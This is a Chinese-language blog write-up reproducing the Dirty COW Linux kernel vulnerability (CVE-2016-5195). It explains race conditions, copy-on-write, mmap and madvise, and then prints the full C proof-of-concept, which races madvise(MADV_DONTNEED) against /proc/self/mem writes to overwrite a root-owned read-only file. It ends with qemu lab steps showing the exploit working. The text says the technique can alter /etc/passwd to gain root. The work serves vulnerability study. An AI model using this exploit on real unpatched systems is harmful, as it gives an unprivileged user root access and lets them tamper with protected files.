dirty-cow(CVE-2016-5195)复现

dirty-cow(CVE-2016-5195)复现

漏洞概述

dirty COW漏洞是一种竞态条件漏洞,自2007年9月起存在于Linux内核中,于2016年10月被发现并被利用,影响所有基于Linux的操作系统,内核版本在2.6.22以上,并且未打补丁,包括安卓系统。

在获取低权限后,可以通过dirtycow漏洞提升对文件的操作权限,可以利用漏洞修改/etc/passwd文件获得root权限。

Dirty COW漏洞是发生在写时复制竞态条件漏洞,我们先看看什么是竞态条件和写时复制。

漏洞成因

竞态条件:

竞态条件是指一个系统或者进程的输出依赖于不受控制的事件出现顺序或者出现时机。我们看下边的这个例子:一个代码功能为从银行执行取款交易,首先检查要提取的金额是否少于余额,如果是,则授权,之后更新余额并退出。那么,如果同时有两个提款请求,则可能会出现竞态条件漏洞。比如说,当前余额是100元,线程1要求提取90元,在服务器更新余额之前,线程2尝试提取90元,这将被批准,因为当前的余额仍然是100元,因此总共提取了180元,账户中的余额为10元。

竞态条件通常发生在多个进程(线程)同时访问和操作相同的数据 以及 执行结果取决于特定的顺序这两种情况。那么如果特权程序具有竞态条件漏洞的话,攻击者就可以通过对不可控事件施加影响来影响特权程序的输出。

写时复制cow(copy on write)

写时复制是一种允许不同进程中的虚拟内存映射到相同物理内存页面的技术。比如我们使用fork系统调用创建子进程,那么这个子进程通过使页表条目指向相同的物理内存来共享父进程内存,当任何进程试图写入内存时,会引发异常,OS将为子进程分配新的物理内存,从父进程复制内容,更改每个进程的页表使它指向自己的私有内存副本,这就是写时复制技术。

写时复制的步骤

  1. 制作映射内存的副本
  2. 更新页表,使得虚拟内存指向新创建的物理内存
  3. 写入内存

上诉步骤本质上不是原子性的,它们可以被其它线程中断,从而产生潜在的竞态条件,导致dirtycow漏洞

mmap()

通常会利用到写时复制就是mmap()函数了,首先我们来看下mmap函数的介绍

mmap() — 将文件或设备映射到内存的系统调用,可以将进程的虚拟地址的一个区域映射到文件,从映射区域读取会导致文件被读取。

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • addr=NULL,代表让内核选取一个合适的地址。
  • length代表要映射的进程地址空间的大小。这里是文件的大小。
  • prot代表映射区域的读写属性。这里是只读。
  • flags设置内存映射的属性。这里是 MAP_PRIVATE 创建一个私有的写时复制的映射。(多个process可以通过私有映射访问同一个文件,并且修改后 不会同步到磁盘文件中
  • fd代表这是一个文件映射。
  • offset是指在文件映射中的偏移量。

image-20211122154103175

如上图所示,当mmap的flags指定了MAP_PRIVATE参数之后,那么会将文件映射到进程的私有内存中。两个进程将同一个文件映射到自己的虚拟内存地址,如果两个文件都是只读的,那么虚拟内存地址将指向同一个物理内存块。但是如果一个进程试图写入数据,就像途中的进程2,此时就会发生写时复制,将物理内存块复制一个副本,然后更新进程2的页表指向新的内存块,最后向物理内存块的副本中写入数据。

这里需要注意的是,即使程序是以只读的方式来做内存映射,MAP_PRIVATE允许程序通过write系统调用往物理内存块的副本中写入数据,这为后面的利用创造了条件。

madvise()

函数原型

1
int madvise(void *addr, size_t length, int advice)

madvise():向内核提供有关从addr到addr+length的内存的建议或指示

我们可以通过给第三个参数advice赋为MADV_DONOTNEED,告诉内核不在需要参数addr到addr+length地址部分的内存,内核会将释放这段地址的资源,然后进程的页表会重新指向原始的物理内存。

大致的利用过程

image-20211122155750397

我们通过组合mmap和madvise就可以利用写时复制的竞态条件漏洞,如上图所示

先看右边的图,这是一个进程将只读文件映射到进程的虚拟内存地址中,当mmap指定参数为MAP_PRIVATE,尽管是只读的,仍然可以写入数据,只不过这时写到的是原始物理内存的副本。

再看左边的图,步骤A、B、C是写时复制的三个步骤,首先当调用write写操作时,会先创建一个映射内存的副本,然后会将进程的页表指向创建好的内存副本,最后是往这个副本中写入数据。

那么当同一个进程的线程1执行写时复制过程,就是当执行完步骤B但还没有执行步骤C,另一个线程2调用了madvise(),将进程的页表重新指向原始的映射内存物理块,线程1继续执行步骤C就会向原来映射的只读文件内存区域写数据。

总的基本思路就是:

  • 线程1:使用write()写入映射的内存
  • 线程2:丢弃映射内存的私有副本
  • 需要使得这两个进程相互竞争,以便它们能影响输出

POC代码

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, char const *argv[])
{
	if(argc < 3)
	{
		(void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
		return 1;
	}
	pthread_t pth1,pth2;

	f = open(argv[1], O_RDONLY);
	fstat(f, &st);
	name = argv[1];

	map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
	printf("mmap %zx\n", (uintptr_t)map);

	pthread_create(&pth1, NULL, madviseThread, argv[1]);
	pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

	pthread_join(pth1,NULL);
	pthread_join(pth2,NULL);

	close(f);

	return 0;
}

main函数主要做的就是设置内存映射和线程:

  • 普通用户身份以只读模式打开指定的只读文件
  • 使用MAP_PRIVATE映射内存
  • 找到目标文件映射的内存地址
  • 创建两个线程

procselfmemThread线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void *procselfmemThread(void *arg)
{
	char *str;
	str = (char *)arg;

	int f = open("/proc/self/mem", O_RDWR);
	int i = 0, c = 0;
	while(i < 1000000 && !bSuccess)
	{
		lseek(f, (uintptr_t)map, SEEK_SET);
		c += write(f,str,strlen(str));
		i++;
	}
	close(f);
	printf("procselfmem %d \n\n", c);
}

这个线程通过访问linux的/proc文件系统来访问进程的内存地址空间,并通过write系统调用不断尝试向映射的物理内存块中写入数据,这时候发生写时复制。

madviseThread线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void *madviseThread(void *arg)
{
	char *str;
	str = (char *)arg;
	int f = open(str, O_RDONLY);
	int i = 0, c = 0;
	char buffer1[1024], buffer2[1024];
	int size;
	lseek(f, 0, SEEK_SET);
	size = read(f, buffer1, sizeof(buffer1));
	while(i < 10000000)
	{
		c += madvise(map, 100, MADV_DONTNEED);
		lseek(f, 0, SEEK_SET);
		size = read(f,buffer2,sizeof(buffer2));
		if(size > 0 && strcmp(buffer1,buffer2))
		{
			printf("Hack success!\n\n");
			bSuccess = 1;
			break;
		}
		i++;
	}
	close(f);
	printf("madvise %d\n\n",c);
}

madviseThread线程主要做了:

  • 使用MADV_DONTNEED参数的madvise系统调用,释放文件映射内存区
  • 干扰另一个线程的COW过程,产生竞态条件
  • 当竞态条件发生时就能写入文件成功

通过madvise系统调用不断让系统释放原始映射的物理内存块的副本,这样总能产生一个时序使得写时复制的线程将数据写到原始的映射内存物理块中

POC完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

struct stat st;
int f;
int bSuccess;
void *map;
char *name;

void *procselfmemThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char const *argv[])
{
	if(argc < 3)
	{
		(void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
		return 1;
	}
	pthread_t pth1,pth2;

	f = open(argv[1], O_RDONLY);
	fstat(f, &st);
	name = argv[1];

	map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
	printf("mmap %zx\n", (uintptr_t)map);

	pthread_create(&pth1, NULL, madviseThread, argv[1]);
	pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

	pthread_join(pth1,NULL);
	pthread_join(pth2,NULL);

	close(f);

	return 0;
}

void *procselfmemThread(void *arg)
{
	char *str;
	str = (char *)arg;

	int f = open("/proc/self/mem", O_RDWR);
	int i = 0, c = 0;
	while(i < 1000000 && !bSuccess)
	{
		lseek(f, (uintptr_t)map, SEEK_SET);
		c += write(f,str,strlen(str));
		i++;
	}
	close(f);
	printf("procselfmem %d \n\n", c);
}

void *madviseThread(void *arg)
{
	char *str;
	str = (char *)arg;
	int f = open(str, O_RDONLY);
	int i = 0, c = 0;
	char buffer1[1024], buffer2[1024];
	int size;
	lseek(f, 0, SEEK_SET);
	size = read(f, buffer1, sizeof(buffer1));
	while(i < 10000000)
	{
		c += madvise(map, 100, MADV_DONTNEED);
		lseek(f, 0, SEEK_SET);
		size = read(f,buffer2,sizeof(buffer2));
		if(size > 0 && strcmp(buffer1,buffer2))
		{
			printf("Hack success!\n\n");
			bSuccess = 1;
			break;
		}
		i++;
	}
	close(f);
	printf("madvise %d\n\n",c);
}

实验过程

内核版本4.4

1
2
3
sudo wget https://mirror.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.4.tar.xz
make defconfig
make bzImage -j8

make报错就改一下Makefile文件中的KBUILD_CFLAGS,加-fno-pie

image-20211122162802899

然后随便拿个文件系统镜像,我这里用的是busybox,编译用下面的命令,因为用qemu运行内核,没有C库,所以加个-static静态编译

1
gcc  dirty-cow.c -pthread -static -o dirty-cow

编译好了放到文件系统中,创建一个target.txt

1
echo ABCDEFGHIJKLMN > target.txt

然后打包

1
find . | cpio -o -H newc > rootfs.cpio

用qemu运行内核,将target.txt设置为非root用户只读

1
2
3
chown root:root target.txt
ls -l target.txt
-rw-r--r-- 1 root root 15 11月 22 11:32 target.txt

然后运行poc代码

image-20211122163547762

成功修改